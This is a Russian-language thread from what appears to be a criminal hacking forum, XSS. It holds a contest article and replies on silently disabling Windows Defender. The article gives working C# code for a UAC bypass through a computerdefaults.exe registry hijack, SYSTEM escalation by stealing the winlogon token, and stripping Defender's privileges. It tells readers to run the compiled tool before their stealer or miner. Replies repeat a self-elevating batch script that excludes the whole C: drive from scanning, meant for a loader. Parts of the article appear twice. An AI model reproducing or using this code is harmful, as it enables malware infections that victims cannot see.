• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Отключаем Windows Defender (+ UAC Bypass, + Повышение до уровня SYSTEM)

А че за винда? У меня вроде бы везде работает. Оключаю сам дефендер и защиту в реальном времени.
Ты делаешь все по инструкции?? ибо я тестил на 2-х тачках не заходит Дефендер палит
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем его отключать если можно добавить просто Исключение всего диска))

Bat исходный код:

Код:
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    goto neptyn
) else ( goto godmuyiuin )

:neptyn
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"="
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:godmuyiuin
    pushd "%CD%"
    CD /D "%~dp0"


powershell.exe -command Add-MpPreference -ExclusionPath C:\

делаете лоадер который сначала подгрузит и запустит этот батник потом делаете небольшую задержку 5-10 секунд
и подгружаете и запускаете уже свои файлики без детекта дефендера)

 
Зачем его отключать если можно добавить просто Исключение всего диска))

Bat исходный код:

Код:
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    goto neptyn
) else ( goto godmuyiuin )

:neptyn
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"="
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:godmuyiuin
    pushd "%CD%"
    CD /D "%~dp0"


powershell.exe -command Add-MpPreference -ExclusionPath C:\

делаете лоадер который сначала подгрузит и запустит этот батник потом делаете небольшую задержку 5-10 секунд
и подгружаете и запускаете уже свои файлики без детекта дефендера)

хмм через фтп сейчас будут пробовать
 
Бля спасибо
Зачем его отключать если можно добавить просто Исключение всего диска))

Bat исходный код:

Код:
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    goto neptyn
) else ( goto godmuyiuin )

:neptyn
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"="
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:godmuyiuin
    pushd "%CD%"
    CD /D "%~dp0"


powershell.exe -command Add-MpPreference -ExclusionPath C:\

делаете лоадер который сначала подгрузит и запустит этот батник потом делаете небольшую задержку 5-10 секунд
и подгружаете и запускаете уже свои файлики без детекта дефендера)

бля спасибо тебе с Петей вроде вышло!!
 
а в чем тогда прикол? если выключил дефендер, нах еще его выпиливать то?))))
Это делалось чисто ради теста. Думал может можно гмер криптануть и им дефендер убивать...
 
Есть общие решения для всех АВ, и подскажите какой лучше лоадер использовать для него ибо я батником через курлу пробовал ругается НО не на всех тачках, может от версии завит... Кто сталкивался, можно решение подсказать
 
Пожалуйста, обратите внимание, что пользователь заблокирован
За статью спасибо. Видно что старался
По сабжу;
  • CreateProcessWithTokenW() -- Запускаем процесс нашего .exe с токеном, украденным из winlogon

  • Поздравляю, вы великолепны
... и выкинуты с хоста любой мало-мальски правослованой) EDR , да что там edr - eset и каспер ( уровня хоум ав) такого тоже не простит ( наивно пиздить токен у winlogon-a в 2022 таким макаром).
Это годится как пок. А если на хосте - что то кроме дефа, to gg wp and good bye.
писал это не глумления ради - а для тех кто совсем не вкурсе: народ сисколы там анхукает всякие, а тут голый вызов вин-апи.
что у многих возникают проблемы с обходом дефендера
Мб имелли ввиду defender for Endpoints - это совсем другой зверь. Или хз мб я не уловил тонкую иронию про юзание техник из матрицы митры.
Хз с дефом проблем не было не когда, так как софт массово не лью - а там где работаю он отключается всегда
 
pa
Windows Defener... как много боли в этом слове. Вероятнее всего, если вы хоть краем уха были связаны с распространением ВПО -- данный антивирус уже успел доставить вам массу неудобств.
Имеющий самую обширную облачную базу в мире АВ не мог остаться без внимания крипторов и малварщиков, в интересах каждого из которых было обойти его.
Самая примитивная мысль, пришедшая каждому -- попробовать снести антивирус под корень. Однако, этому препятствует сама система, так просто не выйдет.
Далее идёт способ со всеми известными "Set-MpPreference". К сожалению, из-за повсеместного использования скрипта -- провернуть данный трюк в реалиях проактивной защиты невозможно.
... и собственно, всё. На этом заканчивается вся поверхностная информация о способах отключения Дефендера.


В данной статье я бы хотел рассказать о методе уже известном многим пользователям, однако по сей день не получившем широкую огласку.
Речь пойдет о Privilege Tokens и манипулировании ими в целях отключения Windows Defender.

Попутно в статье будут упомянуты ещё две темы, без которых провернуть данный трюк будет невозможно. UAC Bypass для поднятия привилегий, а также повышение с обычного пользователя до NT AUTHORITY\SYSTEM.


Начнём, как и полагается, с нудной теории. К сожалению, без неё не будет ясна суть происходящего в последствии, поэтому рассказывать постараюсь максимально кратко и на понятном языке.
Токены привилегий - это разрешения, данные системой для процесса.
К примеру, если у процесса есть токен "SeShutdownPrivilege" - то он в праве выключить ваш компьютер.
Если ваша программа не будет иметь этого токена – она не сможет производить это действие.
Для проверки файлов Windows Defender использует свои привилегии. К примеру – “SeRestorePlivilege”.
Из этого мы делаем вывод, что если лишить процесс антивируса разрешения на проверку файлов – он станет бесполезным и не сможет выполнять эту самую проверку.
Любое объяснение станет понятнее, если из сухого текста перевести его в визуализацию.
Собственно, по этой причине, предлагаю вам скачать Process Hacker и своими глазами посмотреть на токены, имеющиеся у того или иного процесса.
За Windows Defender отвечает процесс MsMpEng.exe, нам нужно найти его в списке и открыть вкладку Tokens
Тут мы замечаем, что процесс имеет множество различных привилегий, имеющих для него ключевое значение.
Как вы понимаете, именно отключением этих привилегий мы и займёмся.
На этом теоретическая часть окончена, приступаем к реализации POC'а.
На самом старте нас уже преследуют две проблемы.
  • Процесс MsMpEng.exe запущен от имени System. Для редактирования его токенов нам нужно иметь юзера “NT AUTHORITY\SYSTEM”
  • Для получения SYSTEM нам нужно будет провести повышение, которое в свою очередь происходит только с уровня администратора.
Решением является следующая схема :

Да да, нам придется целых 2 раза перезапустить процесс для получения всех нужных прав.
  • Мы получаем права администратора с помощью UAC Bypass.
  • А затем получаем уровень SYSTEM, посредством кражи токена и запуска своего процесса с украденным токеном.
Ну что, приступаем к созданию.

Реализаций обхода UAC очень много, вы можете выбрать любой удобный вам. В статье я буду использовать самый распространённый метод через редактирование реестра.
Суть его в том, что системное приложение computerdefaults.exe, при запуске обращается к regedit , в путь"Software\Classes\ms-settings\shell\open\command". Наша задача в том, чтобы отредактировать этот пункт на своё приложение.
Теперь при запуске computerdefaults.exe открывается наше приложение, но с правами администратора. Отредактируем реестр и добавим запуск приложения в через cmd.
C#:
string execPath = Assembly.GetEntryAssembly().Location;

            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command");
            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("", execPath, RegistryValueKind.String);
            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
            Registry.CurrentUser.Close();


            Process process = new System.Diagnostics.Process();
            ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = @"/C computerdefaults.exe";
            process.StartInfo = startInfo;
            process.Start();

Собственно, на этом этапе мы уже запустили свой процесс от имени администратора, без каких либо предупреждений или значков на иконке.


Как уже говорилось, процесс Windows Defender запущен от имени NT AUTHORITY\SYSTEM.

Мы, будучи обычным процессом - не можем редактировать процесс, работающий от имени системы.
Нам нужно повышение!
Его мы будем проворачивать через дубликат токена winlogon.exe
Внимание на картинку, тут полный алгоритм действия.
Если объяснять произошедшее в двух словах:
В Windows есть такой процесс, как winlogon, он запускается с системой и отвечает за авторизацию пользователей. Мы продублируем токен этого процесса и запустим свою-же программу с украденным токеном.
  • OpenProcessToken() -- Открываем токен процесса с уровнем доступа TOKEN_DUPLICATE (на выходе получаем хендл токена)
  • STARTUPINFO -- Устанавливаем параметры для запуска процесса
  • DuplicateTokenEx() -- Дублируем токен с winlogon и записываем его
  • CreateProcessWithTokenW() -- Запускаем процесс нашего .exe с токеном, украденным из winlogon
  • Поздравляю, вы великолепны


C#:
            string procTostart = Assembly.GetEntryAssembly().Location;
            Process process = Process.GetProcessesByName("winlogon")[0];
            IntPtr procHandle = process.Handle;
            IntPtr tokenHandle = IntPtr.Zero;

            WinApi.OpenProcessToken(procHandle, 0x0002, out tokenHandle);

            WinApi.STARTUPINFO SINFO = new WinApi.STARTUPINFO();
            SINFO.dwFlags = 1;
            SINFO.wShowWindow = 1;

            WinApi.PROCESS_INFORMATION PINFO;

            WinApi.SECURITY_ATTRIBUTES SECA = new WinApi.SECURITY_ATTRIBUTES();

            IntPtr doubleDuplicateToken = IntPtr.Zero;

            WinApi.DuplicateTokenEx(tokenHandle, 0x2000000, ref SECA, 2, WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);

            WinApi.CreateProcessWithTokenW(doubleDuplicateToken, WinApi.LogonFlags.NetCredentialsOnly, null, procTostart, WinApi.CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref SINFO, out PINFO);


Мы заставили нашу программу запускаться от имени SYSTEM, при этом обойдя UAC.
Давайте посмотрим что получилось при реальном тесте.


Собственно, как видно на демонстрации – изначальный процесс запускается без прав администратора.
  • Затем, применяется обход UAC’а и открывается второй процесс с повышенными правами
  • Второй процесс, в свою очередь запускает последний .exe, который имеет и права администратора, и запущен от имени системы.
На этом моменте мы выполнили все условия для редактирования привилегий системного процесса и готовы реализовывать отключение Windows Defender.

На секундочку вернёмся к теоретической главе статьи и вспомним, зачем собственно все эти повышения мы и производили.
Наша задача заключается в том, чтобы лишить процесс антивируса привилегий, благодаря которым он может проверять файлы на вредоносность.
Есть два варианта решения этой проблемы : Снять весь список привилегий вручную. Либо установить Уровень Целостности (Integrity Level) на значение “Недоверенный”.
В ходе тестов удалось установить, что оба этих решения – взаимозаменяемые и приведут к одному и тому-же результату.
Поэтому мы пойдём по пути меньшего сопротивления и установить Integrity Level “Untrusted”.
Как и вы прошлых шагах воспользуемся схемой для объяснения последующих действий.

Собственно, алгоритм действий таков :

  • OpenProcess() – получаем хендл процесса с доступом “QueryLimitedInformation”
  • OpenProcessToken() – Открываем токен процесса с уровнем доступа TOKEN_ALL_ACCESS
  • TOKEN_MANDATORY_LABEL – заполняем структуру, которую будем устанавливать в токен процесса
  • ConvertStringSidToSid() – получаем SID параметра “ML_UNTRUSTED”
  • StructureToPtr() – приводим структуру в нужный для работы формат
  • SetTokenInformation() – Устанавливаем “Untrusted” уровень доверия на наш процесс.







SID значение “ML_UNTRUSTED” можно найти в документации Microsoft, по ссылке. https://docs.microsoft.com/en-us/op.../ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
Собственно, на этом и заканчиваются все действия, которые нам нужно было провернуть для снятия привилегий с процесса.
Прикладываю видео-демонстрацию работы этого инструмента в живых условиях.
Версия Windows Defender использована самая актуальная на момент написания статьи.



Так, давайте зададим себе риторический вопрос “А нахуй я это сделал”.
  • Метод удаления WD через скрипт – мёртв. Метод, представленный мной в этой статье на данный момент можно реализовать без детектов (!!!)
  • Данный метод не вырезает Антивирус из системы, он просто запрещает ему выполнять свои функции. У пользователя не вызовет подозрений внезапное уведомление от системы об отключенном антивирусе.
    Пользователь не будет видеть никаких значков на панели. Для него не произойдет никаких изменений, он даже не заподозрит факт того, что его система осталась без защиты.
  • Аналогичный трюк можно пробывать провернуть с другими Антивирусами, в статье Defender взят в качестве самого распространённого.
Минусы данной затеи:
  • Нам нужны права Администратора (как и для других методов, но да ладно).
    Если у пользователя они присутствуют – мы обходим эту проблему через UAC Bypass
  • Токены привилегий выдаются процессу заново после перезагрузки системы. Поэтому, если ваш вирус остаётся в системе на долго – добавьте отключение WD в автозагрузку
After carefully reading the entire list of pros and cons, I come to the conclusion that this method has every chance of being used in combat.

Its main advantage is that the method is not fired by the Defender itself and will not be demolished when it hits the system.


  • Disable WD.zip - C# source archive
  • Silent.zip is an archive containing an already compiled .exe that you can upload along with your virus.
    It is completely invisible, starts without a console and disappears from the task manager.
If you want to use it with your Stiller / Miner, be sure to load FIRST Silent.exe, and then your payload. When you change the order of actions, the meaning of disabling is lost, since first the defender will burn your virus and delete it, and only then turn itself off.
Silent.exe does not bypass UAC, so you need to run it as an administrator.
Password for both archives == forum name
Thank you all for your attention!
I will be glad to your likes and comments.
If you found an inaccuracy in my article, I will be happy to hear your comments in the comments.
I wish good luck to all participants of the competition!
sord == forum not working
 
Пожалуйста, обратите внимание, что пользователь заблокирован
получение указанного тобой токена делается через драйвер
 
Зачем его отключать если можно добавить просто Исключение всего диска))

Bat исходный код:

Код:
@echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    goto neptyn
) else ( goto godmuyiuin )

:neptyn
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"="
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:godmuyiuin
    pushd "%CD%"
    CD /D "%~dp0"


powershell.exe -command Add-MpPreference -ExclusionPath C:\

делаете лоадер который сначала подгрузит и запустит этот батник потом делаете небольшую задержку 5-10 секунд
и подгружаете и запускаете уже свои файлики без детекта дефендера)

Кто понимает в cmd, как можно этот скрипт уместить в одну строчку? Я знаю что нужно расставить правильно символы & ; или может еще какие-то. Кто может отпишите в теме или в пм.
 
А если на хосте - что то кроме дефа, to gg wp and good bye
Если у нас есть права system, что мешает также задушить остальные антивирусы?
 
Если у нас есть права system, что мешает также задушить остальные антивирусы?
Этого, мягко говоря, не достаточно :)
 
Windows Defener... как много боли в этом слове. Вероятнее всего, если вы хоть краем уха были связаны с распространением ВПО -- данный антивирус уже успел доставить вам массу неудобств.
Имеющий самую обширную облачную базу в мире АВ не мог остаться без внимания крипторов и малварщиков, в интересах каждого из которых было обойти его.
Самая примитивная мысль, пришедшая каждому -- попробовать снести антивирус под корень. Однако, этому препятствует сама система, так просто не выйдет.
Далее идёт способ со всеми известными "Set-MpPreference". К сожалению, из-за повсеместного использования скрипта -- провернуть данный трюк в реалиях проактивной защиты невозможно.
... и собственно, всё. На этом заканчивается вся поверхностная информация о способах отключения Дефендера.


В данной статье я бы хотел рассказать о методе уже известном многим пользователям, однако по сей день не получившем широкую огласку.
Речь пойдет о Privilege Tokens и манипулировании ими в целях отключения Windows Defender.

Попутно в статье будут упомянуты ещё две темы, без которых провернуть данный трюк будет невозможно. UAC Bypass для поднятия привилегий, а также повышение с обычного пользователя до NT AUTHORITY\SYSTEM.


Начнём, как и полагается, с нудной теории. К сожалению, без неё не будет ясна суть происходящего в последствии, поэтому рассказывать постараюсь максимально кратко и на понятном языке.
Токены привилегий - это разрешения, данные системой для процесса.
К примеру, если у процесса есть токен "SeShutdownPrivilege" - то он в праве выключить ваш компьютер.
Если ваша программа не будет иметь этого токена – она не сможет производить это действие.
Для проверки файлов Windows Defender использует свои привилегии. К примеру – “SeRestorePlivilege”.
Из этого мы делаем вывод, что если лишить процесс антивируса разрешения на проверку файлов – он станет бесполезным и не сможет выполнять эту самую проверку.
Любое объяснение станет понятнее, если из сухого текста перевести его в визуализацию.
Собственно, по этой причине, предлагаю вам скачать Process Hacker и своими глазами посмотреть на токены, имеющиеся у того или иного процесса.
За Windows Defender отвечает процесс MsMpEng.exe, нам нужно найти его в списке и открыть вкладку Tokens
Тут мы замечаем, что процесс имеет множество различных привилегий, имеющих для него ключевое значение.
Как вы понимаете, именно отключением этих привилегий мы и займёмся.
На этом теоретическая часть окончена, приступаем к реализации POC'а.
На самом старте нас уже преследуют две проблемы.
  • Процесс MsMpEng.exe запущен от имени System. Для редактирования его токенов нам нужно иметь юзера “NT AUTHORITY\SYSTEM”
  • Для получения SYSTEM нам нужно будет провести повышение, которое в свою очередь происходит только с уровня администратора.
Решением является следующая схема :

Да да, нам придется целых 2 раза перезапустить процесс для получения всех нужных прав.
  • Мы получаем права администратора с помощью UAC Bypass.
  • А затем получаем уровень SYSTEM, посредством кражи токена и запуска своего процесса с украденным токеном.
Ну что, приступаем к созданию.

Реализаций обхода UAC очень много, вы можете выбрать любой удобный вам. В статье я буду использовать самый распространённый метод через редактирование реестра.
Суть его в том, что системное приложение computerdefaults.exe, при запуске обращается к regedit , в путь"Software\Classes\ms-settings\shell\open\command". Наша задача в том, чтобы отредактировать этот пункт на своё приложение.
Теперь при запуске computerdefaults.exe открывается наше приложение, но с правами администратора. Отредактируем реестр и добавим запуск приложения в через cmd.
C#:
string execPath = Assembly.GetEntryAssembly().Location;

            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command");
            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("", execPath, RegistryValueKind.String);
            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
            Registry.CurrentUser.Close();


            Process process = new System.Diagnostics.Process();
            ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = @"/C computerdefaults.exe";
            process.StartInfo = startInfo;
            process.Start();

Собственно, на этом этапе мы уже запустили свой процесс от имени администратора, без каких либо предупреждений или значков на иконке.


Как уже говорилось, процесс Windows Defender запущен от имени NT AUTHORITY\SYSTEM.

Мы, будучи обычным процессом - не можем редактировать процесс, работающий от имени системы.
Нам нужно повышение!
Его мы будем проворачивать через дубликат токена winlogon.exe
Внимание на картинку, тут полный алгоритм действия.
Если объяснять произошедшее в двух словах:
В Windows есть такой процесс, как winlogon, он запускается с системой и отвечает за авторизацию пользователей. Мы продублируем токен этого процесса и запустим свою-же программу с украденным токеном.
  • OpenProcessToken() -- Открываем токен процесса с уровнем доступа TOKEN_DUPLICATE (на выходе получаем хендл токена)
  • STARTUPINFO -- Устанавливаем параметры для запуска процесса
  • DuplicateTokenEx() -- Дублируем токен с winlogon и записываем его
  • CreateProcessWithTokenW() -- Запускаем процесс нашего .exe с токеном, украденным из winlogon
  • Поздравляю, вы великолепны


C#:
            string procTostart = Assembly.GetEntryAssembly().Location;
            Process process = Process.GetProcessesByName("winlogon")[0];
            IntPtr procHandle = process.Handle;
            IntPtr tokenHandle = IntPtr.Zero;

            WinApi.OpenProcessToken(procHandle, 0x0002, out tokenHandle);

            WinApi.STARTUPINFO SINFO = new WinApi.STARTUPINFO();
            SINFO.dwFlags = 1;
            SINFO.wShowWindow = 1;

            WinApi.PROCESS_INFORMATION PINFO;

            WinApi.SECURITY_ATTRIBUTES SECA = new WinApi.SECURITY_ATTRIBUTES();

            IntPtr doubleDuplicateToken = IntPtr.Zero;

            WinApi.DuplicateTokenEx(tokenHandle, 0x2000000, ref SECA, 2, WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);

            WinApi.CreateProcessWithTokenW(doubleDuplicateToken, WinApi.LogonFlags.NetCredentialsOnly, null, procTostart, WinApi.CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref SINFO, out PINFO);


Мы заставили нашу программу запускаться от имени SYSTEM, при этом обойдя UAC.
Давайте посмотрим что получилось при реальном тесте.


Собственно, как видно на демонстрации – изначальный процесс запускается без прав администратора.
  • Затем, применяется обход UAC’а и открывается второй процесс с повышенными правами
  • Второй процесс, в свою очередь запускает последний .exe, который имеет и права администратора, и запущен от имени системы.
На этом моменте мы выполнили все условия для редактирования привилегий системного процесса и готовы реализовывать отключение Windows Defender.

На секундочку вернёмся к теоретической главе статьи и вспомним, зачем собственно все эти повышения мы и производили.
Наша задача заключается в том, чтобы лишить процесс антивируса привилегий, благодаря которым он может проверять файлы на вредоносность.
Есть два варианта решения этой проблемы : Снять весь список привилегий вручную. Либо установить Уровень Целостности (Integrity Level) на значение “Недоверенный”.
В ходе тестов удалось установить, что оба этих решения – взаимозаменяемые и приведут к одному и тому-же результату.
Поэтому мы пойдём по пути меньшего сопротивления и установить Integrity Level “Untrusted”.
Как и вы прошлых шагах воспользуемся схемой для объяснения последующих действий.

Собственно, алгоритм действий таков :

  • OpenProcess() – получаем хендл процесса с доступом “QueryLimitedInformation”
  • OpenProcessToken() – Открываем токен процесса с уровнем доступа TOKEN_ALL_ACCESS
  • TOKEN_MANDATORY_LABEL – заполняем структуру, которую будем устанавливать в токен процесса
  • ConvertStringSidToSid() – получаем SID параметра “ML_UNTRUSTED”
  • StructureToPtr() – приводим структуру в нужный для работы формат
  • SetTokenInformation() – Устанавливаем “Untrusted” уровень доверия на наш процесс.







SID значение “ML_UNTRUSTED” можно найти в документации Microsoft, по ссылке. https://docs.microsoft.com/en-us/op.../ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
Собственно, на этом и заканчиваются все действия, которые нам нужно было провернуть для снятия привилегий с процесса.
Прикладываю видео-демонстрацию работы этого инструмента в живых условиях.
Версия Windows Defender использована самая актуальная на момент написания статьи.



Так, давайте зададим себе риторический вопрос “А нахуй я это сделал”.
  • Метод удаления WD через скрипт – мёртв. Метод, представленный мной в этой статье на данный момент можно реализовать без детектов (!!!)
  • Данный метод не вырезает Антивирус из системы, он просто запрещает ему выполнять свои функции. У пользователя не вызовет подозрений внезапное уведомление от системы об отключенном антивирусе.
    Пользователь не будет видеть никаких значков на панели. Для него не произойдет никаких изменений, он даже не заподозрит факт того, что его система осталась без защиты.
  • Аналогичный трюк можно пробывать провернуть с другими Антивирусами, в статье Defender взят в качестве самого распространённого.
Минусы данной затеи:
  • Нам нужны права Администратора (как и для других методов, но да ладно).
    Если у пользователя они присутствуют – мы обходим эту проблему через UAC Bypass
  • Токены привилегий выдаются процессу заново после перезагрузки системы. Поэтому, если ваш вирус остаётся в системе на долго – добавьте отключение WD в автозагрузку
Внимательно перечитав весь список плюсов и минусов – я прихожу к выводу, что данный метод имеет все шансы на применение в бою.

Главным его плюсом является то, что метод не палится самим Дефендером и не будет снесён при попадании на систему.


  • Disable WD.zip – архив с исходниками на C#
  • Silent.zip – архив, содержащий в себе уже скомпилированный .exe, который вы можете подгружать вместе со своим вирусом.
    Он полностью невидимый, запускается без консоли и пропадает из диспетчера задач.
Если вы хотите использовать его со своим Стиллером/Майнером – обязательно грузите СНАЧАЛА Silent.exe, а потом уже свой payload. При смене порядка действий – смысл отключения теряется, так как сначала дефендер спалит ваш вирус и удалит его, а только затем отключит себя.
В Silent.exe не используется обход UAC, поэтому запускать его нужно от имени администратора.
Пароль на оба архива == название форума
Всех категорически благодарю за внимание!
Буду рад вышим лайкам и комментариям.
Если вы нашли неточность в моей статье - с радостью выслушаю ваши замечания в комментариях.
Желаю удачи всем участникам конкурса!
По сути так можно и диспетчер задач обойти просто запретив просмотр процессов? Правда лучше его хукать или хукать функцию но как вириант
 
Намного проще
Код:
OpenProcess
CreateWellKnownSid
OpenProcessToken
SetTokenInformation
Но сомневаюсь, что в принципе это работает еще и с учетом, что эти все надстройки advapi хучатся еще ниже в ntdll.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх